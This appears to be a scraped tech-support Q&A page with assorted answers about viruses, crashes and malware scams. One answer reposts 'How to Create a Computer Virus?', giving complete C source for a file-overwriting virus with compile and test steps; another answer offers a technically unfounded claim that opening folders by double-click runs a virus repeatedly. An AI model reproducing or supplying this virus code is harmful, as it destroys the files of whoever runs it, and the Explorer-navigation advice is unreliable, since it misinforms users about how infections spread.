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Remote code executions/virus infections/unexpected shutdowns

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  • sawusie Sep 05, 2009

    I use webroot anti virus with spyware and also I use micosoft operating system

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Hi,

Please provide us with more details like your operating system and the detailed description of the problem along the antivirus software you are currently using.

Thanks.

Posted on Sep 05, 2009

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Windows has recovered from an unexpected shutdown


Check the unwanted Programs in stalled in your computer.

Scan for virus infections using Rkill and Malwarebytes.

Apr 26, 2014 | Microsoft Computers & Internet

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How to Reduce Spreading of Virus on the Hard Drive


<b><u>An insight in VIRUS INFECTION and VIRUS SPREADING</u></b><br /> <br /> In today's computing spreading of virus is fast and very common.<br /> Even with an up to dated antivirus software the spreading of the virus infection is fast.<br /> This is because, we are not aware of how the virus spreads in our system.<br /> Once we know how the virus infects and spreads in our system then we will definitely reduce the risk, time and money spent.<br /> <br /> <b><u>Here is a short insight about viruses:</u></b><br /> <br /> 1) Virus is a small program code enabling it to to mingle or merge with other program codes.<br /> <br /> 2) The Virus Program Code is written such that it deletes data, corrupts data, steals data send it to the maker of the code, etc.<br /> <br /> 3) The virus cannot run on its own. It has to be executed just like other exe program files. That is why the autorun.inf file is required.<br /> <br /> <b><u>Now for an insight how we get infected:</u></b><br /> <br /> 1) Thorugh the internet: Usually when we browse any web site files are downloaded from the web server to our temporary internet folder(in windows) Then our Browser software reads the files and executes them in the browser window for us to view the web site.( If you are a website Designer you would understand this for others get an insight how internet browsers work), So when we are in the internet Virus files attach themself to the downloading files and enter our system in the temporary folder, From here they are executed by our browser software or when any program accesses the temporary folder.<br /> <br /> 2) Another one is we download a lot of data from the internet, we should be careful on what we are downloading because if the data downloaded is infected with virus then we are downloading the virus to our system along with the data, Don't download the data unless you are sure you could trust the maker of the data, program,etc.<br /> <br /> 3) From other medias like Flash Drive, CD's, DVD,s,etc.:<br /> We copy a lot of data to our computer from our friends and relatives, so if the data is already infected with virus we copy the virus to our system also, when we run os use the data the virus is executed along with it.<br /> <br /> <b><u>Now for an insight how Virus Spreads:</u></b><br /> <b></b> <br /> Just like any other program code the virus code has to be executed.<br /> That is why the virus merges with other exe's which are executable and not with the data file.<br /> <br /> For eg: a file with .avi, .dat, .3gp, etc. all these files are data files they dont execute, but they are used by exe files like wmplayer.exe, winamp.exe, vlplayer.exe, etc. The .avi .dat .3gp files are data files, the wmplayer.exe, winamp.exe vlplayer.exe are program files. Thus mostly exe program file get infected with virus.<br /> <br /> Usually when our system gets infected and any antivirus program cleans our system you can notice that the windows media player or winamp player or vlc media player does'nt work because it is removed or deleted by the antivirus for virus infection but the songs or video you saved is unharmed in the harddisk.<br /> <br /> That is why the virus code hangs or merges or infects mostly exe program files, So that it is executed along with the program file.<br /> <br /> So when you run an infected windows media player to play a song the virus code is also run along with the windows media player. Thus the virus is run again and again.<br /> <br /> There are hundreds of program files in the os for doing various tasks.<br /> we are going to look into just one program which the virus uses to spread itself in our system.<br /> <br /> The Program is non other than explorer.exe in windows. This program is needed to view or browse the data files stored in the hard disk.<br /> When we double click the My Computer Icon on the desktop the explorer.exe is executed which show you a window on your screen with the hard disk drives and cd dvd drives in the windows Now you can imagine how frequently you use the explorer.exe. You use it to view any data on the computer, even our desktop uses explorer.exe. This program is executed right when windows logs us on.<br /> <br /> When this program file is infected, it keeps on executing the virus each time we use the program. by this method the virus spreads fast to every parts of the hard disk.<br /> <br /> Likely there is a method to avoid executing the virus along with the explorer.exe each time we use it.<br /> <br /> When we double click any icon or object on our windows screen we execute the default command in the right click menu. Usually it is the Run Command. for eg: when you double click word the word.exe runs, similarly when we double click the my computer icon the default right menu option is <b>Open</b> which run the explorer.exe program.<br /> <br /> Instead of using this method to view files and data in our system we could use an alternate method which is using the explorer menu option when we right click my computer or right click the windows start button or in fact the explorer option is there whenever you right click any object on the screen.<br /> <br /> By using this explorer option in the right click you get a window with two panes one to the left and one to the right. In the left pane you have the directory structure showing all the directories and folders in our hard disk and in the right pane the content of the directory or folder selected in the left pane.<br /> <br /> Thus in this process we dont execute any code or program command when viewing the data in our hard disk. because we do not execute the explorer.exe more than once.<br /> <br /> So, Imagine how we reduce the spreading of virus by using this method.<br /> <br /> Say you have a file saved in your hard disk in this location<br /> <br /> <b>C:\data\monday\20-11-2010\office\media\todaysjob.doc</b><br /> <br /> If you want to open the file with word we will double click my computer, then double click C Drive, then Double Click data folder,then double click monday folder, then double click 20-11-2010 folder, then double click till you come to the media folder then you double click the todaysjob.doc which will execute the word.exe program which reads the data in the todaysjob.doc file and displays the content as required. In this process see how many time you will execute the virus, You will run the virus Seven Times.<br /> <br /> In our Alternate method You will run the Explorer.exe only once, Then on you just navigate to the media folder then double click the todaysjob.doc file in the right panel. So you execute the virus only once. <br /> <br /> Hence you reduce the spreading of VIRUS to a great extend.<br /> <br /> Good Luck, If there are any mistake please bare with me, I am not a good writer. If you have any Question Keep Me Posted.

on Oct 21, 2010 | Microsoft Windows XP Professional

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How to Create a Computer Virus? Submitted by Srikanth on Friday, 7 December...


How to Create a Computer Virus?
453f655.jpg
Submitted by Srikanth on Friday, 7 December 200781 Comments This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
COMPILING METHOD:

BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile
2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect
HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4.All the infected files will be ready to reinfect
That’s it

on Mar 30, 2010 | Computers & Internet

2 Answers

Recover lost windows hard drive data


Stellar Phoenix Windows Data Recovery recover deleted data from the Windows Recycle Bin, restore lost data, even if the partition is formatted or deleted, restore data from a corrupted hard drive, virus infection, unexpected system shutdown or software failure. It supports IDE, SATA, SCSI, USB hard disk, memory card, USB flash drive, CD/DVD, Blue-Ray Disk and iPod.

Jul 04, 2013 | Computers & Internet

1 Answer

I start my laptop then if i click any icon on desktop,come a sentense,'are you sure delete that?'


Hi,

Does this problem occur everytime you click an executable file? If yes, your unit is more likely infected by virus/spyware coded to infect all executable files on a system.

You can try to run an updated antivirus program, but if it doesn't help then I gues it would be better to wipe the harddrive clean an reinstall the operating system. Take note that this step will cause data loss.

Hope this helps.

May 19, 2011 | Computers & Internet

1 Answer

Skype message says it is Registry Online


Hello my friend.The first rule in the internet and messaging programs is NEVER click at links or receive files from persons or sites that you don't know and are not trusted.This is virus that is infect your computer and the best you must do is to update your antivirus and make full scan at your computer or try a online virus scan like .Also you can try this program that is good for ad aware and malware .

Feb 08, 2010 | Microsoft Windows Vista Home Premium...

1 Answer

Cannot access the website indicated in the following message.[12/8/2009 2:15:38 PM] Software Updates: URGENT SYSTEM SCAN NOTIFICATION ! PLEASE READ CAREFULLY !! http://www.updaterb.org/ For the link to...


This is a trap which you don't want to get caught in. Typically when you visit this type of site, the program you end up downloading is malware.

I would use your existing anti-virus software to scan our computer. If you don't have a good one, try Microsoft Security Essentials which is free online.

Jan 12, 2010 | Skype IM

3 Answers

What is virus and their description


A computer virus is a computer program that infects files, make changes in OS , file system , & edits registry to spread itself for furthur infection. They do it by putting their own code into the exe file & executes as a normal program & creates problems like deleting/hiding data,download programs from particular websites automatically,denial of service,formatting disk & much more.
Commonly we use the term virus for all types of malware,spyware.
A true virus can only spread from one computer to another (in some form of executable code)when its host is taken to the target computer; for instance because auser sent it over a network or the Internet, or carried it on aremovable medium such as a floppy,cd & USB drives(most chances).

Oct 15, 2009 | Mcafee VirusScan 2006 Version 10.0 ...

4 Answers

What is a computer virus?


a computer virus,, make your system files, to corrupt,, the system cannot boot some times,, your working files,, documents,, pictures,, all will not open. depending upon the type of virus.. ,, for that an antivirus ins installed to detect virus and clean computer,,

Sep 27, 2009 | Bell Computers & Internet

2 Answers

Information about virus.


The CIH virus infects executable files and is spread by executing an infected file. Since many files are executed during normal use of a computer, the CIH virus can infect many files quickly.
There are several variants of the CIH virus. Some activate every month on the 26th, while other variants activate just on April 26th or June 26th. Once the CIH virus activates, the virus attempts to erase the entire hard drive and to overwrite the system BIOS. Some machines may require a new BIOS chip to recover if overwritten by the CIH virus. CIH only affects Win95/98 machines.
More technical details about the CIH virus can be found at the following site.


Go here for more information
http://www.cert.org/incident_notes/IN-99-03.html

Hope this is some good knowledge base for your project.

http://www.virusbtn.com/VirusInformation/cih.html

May 26, 2009 | Computer Security Systems CSS-A760S...

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